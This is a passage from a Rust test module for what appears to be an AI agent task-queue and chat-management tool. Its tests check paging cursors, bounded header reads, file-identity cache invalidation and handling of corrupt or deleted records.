27153            assert!(origin.origin_chat.is_none());
27154            assert!(!origin.origin_chat_closed);
27155        }
27156    }
27157
27158    #[test]
27159    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
27160        let home = tempfile::tempdir().unwrap();
27161        let ui = delta_test_ui(home.path());
27162        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
27163        for i in 0..1000 {
27164            let mut task = Task::new(
27165                "unrelated".into(),
27166                "instruction ".repeat(256),
27167                PathBuf::from("/repo"),
27168                Source::Human,
27169            );
27170            task.id = format!("history-{i:04}");
27171            ui.queue.put(&mut task).unwrap();
27172            let id = seed_talk_at(&ui.talks, &task.id, "open");
27173            let mut talk = ui.talks.get(&id).unwrap();
27174            talk.pending = "history ".repeat(256);
27175            ui.talks.put(&mut talk).unwrap();
27176        }
27177        let mut parent = Task::new(
27178            "parent".into(),
27179            "body".into(),
27180            PathBuf::from("/repo"),
27181            Source::Agent {
27182                run: chat_id.clone(),
27183                node: crate::queue::CHAT_NODE.into(),
27184            },
27185        );
27186        parent.id = "task-parent".into();
27187        parent.runs = vec!["run-parent".into()];
27188        ui.queue.put(&mut parent).unwrap();
27189        let mut child = Task::new(
27190            "child".into(),
27191            "body".into(),
27192            PathBuf::from("/repo"),
27193            Source::Human,
27194        );
27195        child.id = "task-child".into();
27196        child.runs = vec!["run-child".into()];
27197        child.followup = Some(crate::queue::FollowUp {
27198            run: "run-parent".into(),
27199            origin_task: Some(parent.id.clone()),
27200            pr: "https://example.invalid/pr/1".into(),
27201            findings: vec![],
27202            generation: 1,
27203        });
27204        ui.queue.put(&mut child).unwrap();
27205        let mut question = Question::new(
27206            child.id.clone(),
27207            crate::conduct::NODE.into(),
27208            "seat".into(),
27209            "Continue?".into(),
27210            String::new(),
27211            vec![],
27212        );
27213        let (tasks, talks, _watches) =
27214            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27215        assert_eq!(tasks.len(), 2);
27216        assert_eq!(talks.len(), 1);
27217        assert_eq!(
27218            ui.monitor.queue_index.lock().unwrap().reparsed,
27219            0,
27220            "exact ancestry bypasses the index"
27221        );
27222        assert_eq!(
27223            crate::consult::origin_talk(&tasks, &talks, &question)
27224                .unwrap()
27225                .id,
27226            chat_id
27227        );
27228        question.run = "run-child".into();
27229        question.node = "review".into();
27230        for origin_task in [Some(parent.id.clone()), None] {
27231            child.followup.as_mut().unwrap().origin_task = origin_task;
27232            ui.queue.put(&mut child).unwrap();
27233            let (tasks, talks, _watches) =
27234                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27235            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
27236            let expected =
27237                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
27238                    .unwrap();
27239            assert_eq!(actual.id, expected.id);
27240            assert!(!actual.status.open());
27241            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27242            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27243            // Without Unix file identity, every readable record must be
27244            // reparsed to detect same-size, same-mtime replacements safely.
27245            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
27246            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27247        }
27248        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
27249        ui.queue.put(&mut child).unwrap();
27250        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
27251        let (tasks, talks, _watches) =
27252            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27253        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27254        child.origin_chat = Some(chat_id.clone());
27255        ui.queue.put(&mut child).unwrap();
27256        let (tasks, talks, _watches) =
27257            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27258        assert_eq!(
27259            crate::consult::origin_talk(&tasks, &talks, &question)
27260                .unwrap()
27261                .id,
27262            chat_id
27263        );
27264        let revision = question_record_revision(&question);
27265        question.abandon("settled elsewhere");
27266        assert_ne!(revision, question_record_revision(&question));
27267        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
27268        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
27269        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
27270        let (tasks, talks, _watches) =
27271            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
27272        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
27273    }
27274
27275    #[test]
27276    fn list_cursors_freeze_membership_and_expire_explicitly() {
27277        let home = tempfile::tempdir().unwrap();
27278        let ui = delta_test_ui(home.path());
27279        std::fs::create_dir_all(ui.queue.root()).unwrap();
27280        for i in 0..40 {
27281            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
27282        }
27283        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
27284        assert_eq!(first.len(), STORE_PAGE_SIZE);
27285        let cursor = cursor.unwrap();
27286        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
27287        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
27288        let (second, _) = page_ids(
27289            &ui,
27290            false,
27291            PageQuery {
27292                before: Some(cursor.clone()),
27293            },
27294        )
27295        .unwrap();
27296        assert_eq!(second[0], "record-0023");
27297        assert!(second.iter().all(|id| !first.contains(id)));
27298        assert!(
27299            page_ids(
27300                &ui,
27301                true,
27302                PageQuery {
27303                    before: Some(cursor.clone())
27304                }
27305            )
27306            .is_err()
27307        );
27308        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
27309        assert_eq!(fresh[0], "record-9999");
27310        ui.monitor.list_walks.lock().unwrap().clear();
27311        assert!(
27312            page_ids(
27313                &ui,
27314                false,
27315                PageQuery {
27316                    before: Some(cursor)
27317                }
27318            )
27319            .is_err()
27320        );
27321    }
27322
27323    #[tokio::test]
27324    async fn talk_pages_load_every_open_then_frozen_closed_history() {
27325        let home = tempfile::tempdir().unwrap();
27326        let ui = delta_test_ui(home.path());
27327        // Every closed conversation is newer by ID than every open conversation.
27328        for i in 0..23 {
27329            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
27330        }
27331        for i in 0..45 {
27332            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
27333        }
27334        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
27335        let first = talks_page(
27336            State(ui.clone()),
27337            Query(PageQuery::default()),
27338            header::HeaderMap::new(),
27339        )
27340        .await
27341        .unwrap()
27342        .0;
27343        assert_eq!(
27344            first.rows.iter().filter(|row| row.status.open()).count(),
27345            23
27346        );
27347        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
27348        assert!(first.rows[..23].iter().all(|row| row.status.open()));
27349        let parsed = ui
27350            .monitor
27351            .talk_parses
27352            .load(std::sync::atomic::Ordering::Relaxed);
27353        assert_eq!(
27354            parsed,
27355            first.rows.len(),
27356            "closed bodies outside this page are not restored"
27357        );
27358        let fresh = talks_page(
27359            State(ui.clone()),
27360            Query(PageQuery::default()),
27361            header::HeaderMap::new(),
27362        )
27363        .await
27364        .unwrap()
27365        .0;
27366        assert_eq!(fresh.rows.len(), first.rows.len());
27367        assert_eq!(
27368            ui.monitor
27369                .talk_parses
27370                .load(std::sync::atomic::Ordering::Relaxed),
27371            parsed
27372        );
27373        let mut seen: std::collections::HashSet<_> =
27374            first.rows.iter().map(|row| row.id.clone()).collect();
27375        // Status changes keep their original membership position until refresh.
27376        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
27377        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
27378        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
27379        let mut next = first.next;
27380        while let Some(cursor) = next {
27381            let page = talks_page(
27382                State(ui.clone()),
27383                Query(PageQuery {
27384                    before: Some(cursor),
27385                }),
27386                header::HeaderMap::new(),
27387            )
27388            .await
27389            .unwrap()
27390            .0;
27391            assert!(page.rows.len() <= STORE_PAGE_SIZE);
27392            for row in page.rows {
27393                assert!(seen.insert(row.id), "a cursor must not repeat membership");
27394            }
27395            next = page.next;
27396        }
27397        let expected: HashSet<_> = (0..23)
27398            .map(|i| format!("20260101-000000-{i:03}"))
27399            .chain(
27400                (0..45)
27401                    .filter(|i| *i != 1)
27402                    .map(|i| format!("20261019-000000-{i:03}")),
27403            )
27404            .collect();
27405        assert_eq!(
27406            seen, expected,
27407            "the cursor walk must return every surviving ID"
27408        );
27409        let refreshed = talks_page(
27410            State(ui.clone()),
27411            Query(PageQuery::default()),
27412            header::HeaderMap::new(),
27413        )
27414        .await
27415        .unwrap()
27416        .0;
27417        assert_eq!(
27418            refreshed
27419                .rows
27420                .iter()
27421                .filter(|row| row.status.open())
27422                .count(),
27423            23
27424        );
27425        assert!(
27426            refreshed
27427                .rows
27428                .iter()
27429                .any(|row| row.id == "20261019-000000-000")
27430        );
27431        assert!(
27432            !refreshed
27433                .rows
27434                .iter()
27435                .any(|row| row.id == "20260101-000000-000")
27436        );
27437    }
27438
27439    #[test]
27440    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
27441        let home = tempfile::tempdir().unwrap();
27442        let ui = delta_test_ui(home.path());
27443        for i in 0..STORE_PAGE_SIZE + 5 {
27444            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
27445        }
27446        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
27447        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
27448        assert!(next.is_none());
27449    }
27450
27451    #[test]
27452    fn chat_status_promotes_closed_owner_goal_in_header() {
27453        let home = tempfile::tempdir().unwrap();
27454        let ui = delta_test_ui(home.path());
27455        for i in 0..STORE_PAGE_SIZE + 5 {
27456            seed_talk_at(&ui.talks, &format!("new-{i:03}"), "closed");
27457        }
27458        let id = seed_talk_at(&ui.talks, "ancient", "closed");
27459        let path = ui.talks.path_of(&id);
27460        let mut raw: serde_json::Value =
27461            serde_json::from_slice(&std::fs::read(&path).unwrap()).unwrap();
27462        raw["goals"] = serde_json::json!([{
27463            "id": "g", "purpose": "ship", "scope": "task",
27464            "condition": {"description": "done", "kind": "tasks_done"},
27465            "state": "owner", "step": "decision", "source_turn": 0,
27466            "owner_input": "ship", "tasks": [], "runs": [], "watches": [],
27467            "evidence": "", "wake": 0, "handled": 0, "started": null,
27468            "wakes": 0, "last_checked": null, "fingerprint": ""
27469        }]);
27470        let chat: talk::Talk = serde_json::from_value(raw.clone()).unwrap();
27471        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27472        let (ids, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27473        assert!(ids.contains(&id));
27474        let rows = talk_rows(&ui, ids, &header::HeaderMap::new());
27475        let row = rows.iter().find(|row| row.id == id).unwrap();
27476        assert_eq!(row.chat_status.kind, crate::chat_status::Kind::NeedsOwner);
27477        {
27478            let cache = ui.monitor.closed_goal_index.lock().unwrap();
27479            assert!(cache.get(&id).is_some_and(|(_, owner)| *owner));
27480            assert!(cache.len() > STORE_PAGE_SIZE);
27481        }
27482        // A second request must retain the projection even for promoted rows.
27483        let (again, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27484        assert!(again.contains(&id));
27485        // A same-length rewrite preserving write time still changes identity.
27486        let modified = path.metadata().unwrap().modified().unwrap();
27487        raw["goals"][0]["state"] = serde_json::json!("paused");
27488        raw["goals"][0]["step"] = serde_json::json!("waiting");
27489        let chat: talk::Talk = serde_json::from_value(raw).unwrap();
27490        std::fs::write(&path, serde_json::to_vec(&chat).unwrap()).unwrap();
27491        std::fs::OpenOptions::new()
27492            .write(true)
27493            .open(&path)
27494            .unwrap()
27495            .set_modified(modified)
27496            .unwrap();
27497        let (changed, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27498        assert!(!changed.contains(&id));
27499        // A legacy file with goals after turns is deferred to its history page.
27500        let mut raw = serde_json::to_value(&chat).unwrap();
27501        raw["goals"][0]["state"] = serde_json::json!("owner");
27502        let goals = raw.as_object_mut().unwrap().remove("goals").unwrap();
27503        let mut body = serde_json::to_string(&raw).unwrap();
27504        body.pop();
27505        body.push_str(&format!(",\"goals\":{goals}}}"));
27506        std::fs::write(&path, body).unwrap();
27507        let (initial, _) = page_ids(&ui, true, PageQuery::default()).unwrap();
27508        assert!(!initial.contains(&id));
27509        let rows = talk_rows(&ui, vec![id], &header::HeaderMap::new());
27510        assert_eq!(
27511            rows[0].chat_status.kind,
27512            crate::chat_status::Kind::NeedsOwner
27513        );
27514    }
27515
27516    #[test]
27517    fn chat_status_revision_tracks_turn_lease_without_transcript_changes() {
27518        let home = tempfile::tempdir().unwrap();
27519        let ui = delta_test_ui(home.path());
27520        let id = seed_talk_at(&ui.talks, "chat", "open");
27521        let before = monitor_scan(&ui, None);
27522        let lease = ui.talks.claim_turn(&id).unwrap().unwrap();
27523        let during = monitor_scan(&ui, Some(before.clone()));
27524        assert_ne!(during.0.3, before.0.3);
27525        drop(lease);
27526        let after = monitor_scan(&ui, Some(during));
27527        assert_eq!(after.0.3, before.0.3);
27528    }
27529
27530    #[test]
27531    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
27532        struct Counted<R> {
27533            inner: R,
27534            bytes: usize,
27535        }
27536        impl<R: std::io::Read> std::io::Read for Counted<R> {
27537            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
27538                let n = self.inner.read(buf)?;
27539                self.bytes += n;
27540                Ok(n)
27541            }
27542        }
27543        let home = tempfile::tempdir().unwrap();
27544        let ui = delta_test_ui(home.path());
27545        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
27546        let mut chat = ui.talks.get(&id).unwrap();
27547        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
27548            chat.turns = vec![
27549                serde_json::from_value(serde_json::json!({
27550                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
27551                }))
27552                .unwrap(),
27553            ];
27554            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
27555                chat.status = status;
27556                // Exercise the actual on-disk serializer, including its field order.
27557                let body = serde_json::to_vec_pretty(&chat).unwrap();
27558                let mut reader = Counted {
27559                    inner: body.as_slice(),
27560                    bytes: 0,
27561                };
27562                assert_eq!(read_talk_status(&mut reader), Some(status));
27563                assert!(
27564                    reader.bytes <= 1024,
27565                    "header classification read {} bytes",
27566                    reader.bytes
27567                );
27568            }
27569        }
27570        // Noncanonical field order must neither traverse a transcript nor hide
27571        // an open row. Its real status is validated by the ordinary row reader.
27572        let noncanonical = format!(
27573            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
27574            "x".repeat(1024 * 1024)
27575        );
27576        let mut reader = Counted {
27577            inner: noncanonical.as_bytes(),
27578            bytes: 0,
27579        };
27580        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27581        assert!(reader.bytes <= 1024);
27582        let legacy = format!(
27583            r#"{{"status":"closed","turns":[{{"body":"{}"}}],"goals":[]}}"#,
27584            "x".repeat(1024 * 1024)
27585        );
27586        let mut reader = Counted {
27587            inner: legacy.as_bytes(),
27588            bytes: 0,
27589        };
27590        assert!(!read_owner_goal(&mut reader));
27591        assert!(reader.bytes <= 1024);
27592        let oversized = format!(
27593            r#"{{"agent":"{}","status":"open"}}"#,
27594            "x".repeat(128 * 1024)
27595        );
27596        let mut reader = Counted {
27597            inner: oversized.as_bytes(),
27598            bytes: 0,
27599        };
27600        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
27601        assert!(reader.bytes <= 64 * 1024);
27602    }
27603
27604    #[test]
27605    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
27606        let home = tempfile::tempdir().unwrap();
27607        let ui = delta_test_ui(home.path());
27608        seed_talk_at(&ui.talks, "header-chat", "open");
27609        std::fs::create_dir_all(ui.queue.root()).unwrap();
27610        let (started, ready) = std::sync::mpsc::channel();
27611        let (release, wait) = std::sync::mpsc::channel();
27612        let chat_ui = ui.clone();
27613        let scan = std::thread::spawn(move || {
27614            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
27615                started.send(()).unwrap();
27616                wait.recv().unwrap();
27617                open_talk_ids(ui, ids)
27618            })
27619            .unwrap()
27620        });
27621        ready.recv_timeout(Duration::from_secs(2)).unwrap();
27622        let (finished, result) = std::sync::mpsc::channel();
27623        let queue = std::thread::spawn(move || {
27624            finished
27625                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
27626                .unwrap();
27627        });
27628        let completed = result.recv_timeout(Duration::from_secs(2));
27629        // Release and join both workers even if the regression returns.
27630        release.send(()).unwrap();
27631        scan.join().unwrap();
27632        queue.join().unwrap();
27633        assert!(
27634            completed.unwrap(),
27635            "queue paging must not wait for chat header I/O"
27636        );
27637    }
27638
27639    #[test]
27640    fn talk_status_projection_does_not_cache_files_changed_during_read() {
27641        let home = tempfile::tempdir().unwrap();
27642        let ui = delta_test_ui(home.path());
27643        let ids = vec!["changing-chat".to_owned()];
27644        seed_talk_at(&ui.talks, &ids[0], "closed");
27645        assert!(open_talk_ids(&ui, &ids).is_empty());
27646        seed_talk_at(&ui.talks, &ids[0], "open");
27647        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
27648            let value: serde_json::Value =
27649                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
27650            // Replace the file after parsing, before its identity is checked again.
27651            seed_talk_at(&ui.talks, &ids[0], "closed");
27652            serde_json::from_value(value["status"].clone()).ok()
27653        });
27654        assert!(open.contains(&ids[0]));
27655        assert!(
27656            ui.monitor
27657                .talk_status_index
27658                .lock()
27659                .unwrap()
27660                .records
27661                .is_empty()
27662        );
27663        assert!(open_talk_ids(&ui, &ids).is_empty());
27664        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
27665    }
27666
27667    #[test]
27668    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
27669        let home = tempfile::tempdir().unwrap();
27670        let ui = delta_test_ui(home.path());
27671        let ids = vec!["same-stamp-chat".to_owned()];
27672        seed_talk_at(&ui.talks, &ids[0], "open");
27673        // Model a non-Unix metadata collision deterministically: the old
27674        // classification has a fingerprint equal to the current file's.
27675        ui.monitor.talk_status_index.lock().unwrap().records.insert(
27676            ids[0].clone(),
27677            (
27678                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
27679                Some(talk::TalkStatus::Closed),
27680            ),
27681        );
27682        let open = open_talk_ids_with(&ui, &ids, false, |path| {
27683            std::fs::File::open(path).ok().and_then(read_talk_status)
27684        });
27685        assert!(
27686            open.contains(&ids[0]),
27687            "an untrusted cache hit must still read the current header"
27688        );
27689        assert!(
27690            ui.monitor
27691                .talk_status_index
27692                .lock()
27693                .unwrap()
27694                .records
27695                .is_empty()
27696        );
27697        seed_talk_at(&ui.talks, &ids[0], "closed");
27698        assert!(
27699            open_talk_ids_with(&ui, &ids, false, |path| {
27700                std::fs::File::open(path).ok().and_then(read_talk_status)
27701            })
27702            .is_empty()
27703        );
27704        let index = ui.monitor.talk_status_index.lock().unwrap();
27705        assert_eq!(index.parses, 2);
27706        assert!(
27707            index.records.is_empty(),
27708            "untrusted fingerprints must never publish cache entries"
27709        );
27710    }
27711
27712    #[test]
27713    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
27714        let home = tempfile::tempdir().unwrap();
27715        let ui = delta_test_ui(home.path());
27716        let headers = header::HeaderMap::new();
27717        seed_talk_at(&ui.talks, "open-chat", "open");
27718        seed_talk_at(&ui.talks, "closed-chat", "closed");
27719        talk_rows(
27720            &ui,
27721            vec!["open-chat".into(), "closed-chat".into()],
27722            &headers,
27723        );
27724        {
27725            let mut index = ui.monitor.talk_index.lock().unwrap();
27726            let closed = index["closed-chat"].1.clone();
27727            for i in 0..1000 {
27728                index.insert(
27729                    format!("cached-closed-{i}"),
27730                    (
27731                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
27732                        closed.clone(),
27733                    ),
27734                );
27735            }
27736        }
27737        assert_eq!(
27738            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
27739            1
27740        );
27741        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
27742        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27743        assert_eq!(
27744            ui.monitor
27745                .talk_parses
27746                .load(std::sync::atomic::Ordering::Relaxed),
27747            2
27748        );
27749        {
27750            let mut index = ui.monitor.talk_index.lock().unwrap();
27751            let open = index["open-chat"].1.clone();
27752            for i in 0..1000 {
27753                index.insert(
27754                    format!("cached-open-{i}"),
27755                    (
27756                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
27757                        open.clone(),
27758                    ),
27759                );
27760            }
27761        }
27762        // Even when open rows exceed the bound, keep the currently requested rows.
27763        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
27764        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
27765        assert_eq!(
27766            ui.monitor
27767                .talk_parses
27768                .load(std::sync::atomic::Ordering::Relaxed),
27769            2
27770        );
27771    }
27772
27773    #[test]
27774    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
27775        let home = tempfile::tempdir().unwrap();
27776        let ui = delta_test_ui(home.path());
27777        std::fs::create_dir_all(ui.talks.root()).unwrap();
27778        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
27779        for id in &ids {
27780            std::fs::write(
27781                ui.talks.path_of(id),
27782                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
27783            )
27784            .unwrap();
27785        }
27786        assert!(open_talk_ids(&ui, &ids).is_empty());
27787        assert_eq!(
27788            ui.monitor.talk_status_index.lock().unwrap().parses,
27789            ids.len()
27790        );
27791        assert!(open_talk_ids(&ui, &ids).is_empty());
27792        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
27793        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
27794        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
27795        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
27796        assert_eq!(
27797            open_talk_ids(&ui, &ids),
27798            std::collections::HashSet::from([ids[0].clone()])
27799        );
27800        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
27801        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
27802        assert_eq!(parsed, reused + refreshed);
27803        open_talk_ids(&ui, &ids);
27804        assert_eq!(
27805            ui.monitor.talk_status_index.lock().unwrap().parses,
27806            parsed + if cfg!(unix) { 0 } else { ids.len() },
27807            "only reliable file identity permits caching, including unreadable rows"
27808        );
27809        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
27810        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
27811        assert!(
27812            !ui.monitor
27813                .talk_status_index
27814                .lock()
27815                .unwrap()
27816                .records
27817                .contains_key(&ids[0])
27818        );
27819        assert!(
27820            ui.monitor.talk_index.lock().unwrap().is_empty(),
27821            "classification never caches bodies"
27822        );
27823    }
27824
27825    #[tokio::test]
27826    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
27827        let home = tempfile::tempdir().unwrap();
27828        let ui = delta_test_ui(home.path());
27829        let mut task = Task::new(
27830            "task".into(),
27831            "body".into(),
27832            PathBuf::from("/repo"),
27833            Source::Human,
27834        );
27835        ui.queue.put(&mut task).unwrap();
27836        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27837        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
27838        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
27839        let expected = parsed + usize::from(!cfg!(unix));
27840        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
27841        task.status = crate::queue::TaskStatus::Held;
27842        ui.queue.put(&mut task).unwrap();
27843        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27844        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
27845        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
27846        ui.queue.put(&mut task).unwrap();
27847        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
27848        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27849        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
27850    }
27851
27852    #[tokio::test]
27853    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
27854        let home = tempfile::tempdir().unwrap();
27855        let ui = delta_test_ui(home.path());
27856        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
27857        let before = health(State(ui.clone())).await.unwrap().0;
27858        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
27859        let after = health(State(ui)).await.unwrap().0;
27860        assert_ne!(before.notifications_rev, after.notifications_rev);
27861        assert_eq!(after.notifications_unread, 1);
27862    }
27863
27864    #[tokio::test]
27865    async fn list_pages_bound_history_and_keep_dependency_evidence() {
27866        let home = tempfile::tempdir().unwrap();
27867        let ui = delta_test_ui(home.path());
27868        let queue = &ui.queue;
27869        let talks = &ui.talks;
27870        for i in 0..1000 {
27871            let id = format!("20261019-{i:06}-page");
27872            let mut task = Task::new(
27873                "task".into(),
27874                "instruction".repeat(100),
27875                PathBuf::from("/repo/magi"),
27876                Source::Human,
27877            );
27878            task.id = id.clone();
27879            if i == 0 {
27880                task.status = crate::queue::TaskStatus::Held;
27881            } else if i == 999 {
27882                task.status = crate::queue::TaskStatus::Blocked;
27883                task.blocked_by = vec!["20261019-000000-page".into()];
27884            }
27885            queue.put(&mut task).unwrap();
27886            seed_talk_at(talks, &id, "closed");
27887        }
27888        let page = serde_json::to_value(
27889            queue_page(State(ui.clone()), Query(PageQuery::default()))
27890                .await
27891                .unwrap()
27892                .0,
27893        )
27894        .unwrap();
27895        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27896        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
27897        assert!(
27898            !page["rows"][0]["stuck_roots"]
27899                .as_array()
27900                .unwrap()
27901                .is_empty()
27902        );
27903        let cursor = page["next"].as_str().unwrap();
27904        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
27905            .as_str()
27906            .unwrap();
27907        // Deleting an already enumerated file cannot shift or repeat a page.
27908        std::fs::remove_file(queue.path_of(last_id)).unwrap();
27909        let next = serde_json::to_value(
27910            queue_page(
27911                State(ui.clone()),
27912                Query(PageQuery {
27913                    before: Some(cursor.into()),
27914                }),
27915            )
27916            .await
27917            .unwrap()
27918            .0,
27919        )
27920        .unwrap();
27921        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27922        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
27923        let chats = serde_json::to_value(
27924            talks_page(
27925                State(ui.clone()),
27926                Query(PageQuery::default()),
27927                header::HeaderMap::new(),
27928            )
27929            .await
27930            .unwrap()
27931            .0,
27932        )
27933        .unwrap();
27934        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
27935        assert!(chats["rows"][0].get("pending").is_none());
27936        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
27937        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
27938        assert_eq!(counts["held"], 1);
27939        assert_eq!(counts["blocked"], 1);
27940        assert_eq!(counts["queued"], 997);
27941    }
27942
27943    #[test]
27944    fn queue_index_observes_external_replacement_deletion_and_corruption() {
27945        let dir = tempfile::tempdir().unwrap();
27946        let ui = delta_test_ui(dir.path());
27947        let mut task = Task::new(
27948            "task".into(),
27949            "body".into(),
27950            PathBuf::from("/repo"),
27951            Source::Human,
27952        );
27953        task.runs = vec!["run-a".into()];
27954        ui.queue.put(&mut task).unwrap();
27955        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
27956        task.runs = vec!["run-b".into()];
27957        let path = ui.queue.path_of(&task.id);
27958        let modified = path.metadata().unwrap().modified().unwrap();
27959        let replacement = path.with_extension("replacement");
27960        let bytes = serde_json::to_vec_pretty(&task).unwrap();
27961        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
27962        std::fs::write(&replacement, &bytes).unwrap();
27963        std::fs::File::options()
27964            .write(true)
27965            .open(&replacement)
27966            .unwrap()
27967            .set_times(std::fs::FileTimes::new().set_modified(modified))
27968            .unwrap();
27969        std::fs::rename(&replacement, &path).unwrap();
27970        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
27971        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27972        std::fs::write(&path, "broken").unwrap();
27973        assert!(ui.find_task_for_run("run-b").is_err());
27974        std::fs::write(&path, bytes).unwrap();
27975        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
27976        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
27977        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
27978    }
27979
27980    #[tokio::test]
27981    async fn conversation_core_is_independent_of_unreadable_related_history() {
27982        let home = tempfile::tempdir().unwrap();
27983        let ui = delta_test_ui(home.path());
27984        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
27985        std::fs::create_dir_all(ui.queue.root()).unwrap();
27986        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
27987        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
27988            .await
27989            .unwrap();
27990        assert_eq!(core.talk.id, id);
27991        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
27992    }
27993
27994    #[test]
27995    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
